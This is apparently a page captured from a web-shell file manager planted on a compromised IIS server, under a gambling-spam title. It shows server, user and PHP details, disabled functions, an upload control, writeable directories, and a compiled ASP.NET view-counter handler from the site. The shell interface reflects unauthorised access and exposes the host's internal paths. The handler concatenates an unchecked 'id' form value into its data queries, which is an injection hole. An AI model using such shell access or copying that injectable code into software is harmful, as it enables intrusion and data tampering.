918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/0dd92f92/60aa170/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/0dd92f92/60aa170/App_Web_mnuppfp_.0.cs
?#pragma checksum "D:\wwwroot\enjyzmfj\wwwroot\Message\ashx\ProcessCount.ashx" "{406ea660-64cf-4c82-b6f0-42d48172a799}" "445785C283B3047791FBD6443F166EC4"

#line 1 "D:\wwwroot\enjyzmfj\wwwroot\Message\ashx\ProcessCount.ashx"


using System;
using System.Data;
using System.Web;
using Udows.Web.BusinessRules;
using Udows.Web.CommonLibrary;

public class ProcessCount : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        context.Response.ContentType = "text/plain";
        string pagetype = context.Request.Form["pagetype"];
        string id = context.Request.Form["id"];
        string entityName = "";
        int count = 0;
        switch (pagetype)
        {
            case "news":
                entityName = "News";
                break;
            case "product":
                entityName = "Products";
                break;
            case "buy":
                entityName = "Product_xp";
                break;
            default:
                break;
        }
        if (entityName != "")
        {
            string sql = "<" + entityName + " needitem=\"readcount\" ID=\"" + id + "\" />";
            DataSet set = (DataSet)CFactory.CGetData(sql);
            if (set != null && set.Tables[0].Rows.Count > 0)
            {
                int temporary = 0;
                int.TryParse(set.Tables[0].Rows[0]["readcount"].ToString(), out temporary);
                count = temporary + 1;
                if (!UpdateReadCount(id, count, entityName))
                    count = 0;
            }
        }
        context.Response.Write(count);
    }

    public bool IsReusable
    {
        get
        {
            return false;
        }
    }

    public bool UpdateReadCount(string id, int count, string entityname)
    {
        string sql = "<" + entityname + " readcount=\"" + count + "\" ID=\"" + id + "\" OperateType=\"2\"/>";
        return DbReturnType.Success == (DbReturnType)CFactory.CPostData(sql);
    }
}



#line default
#line hidden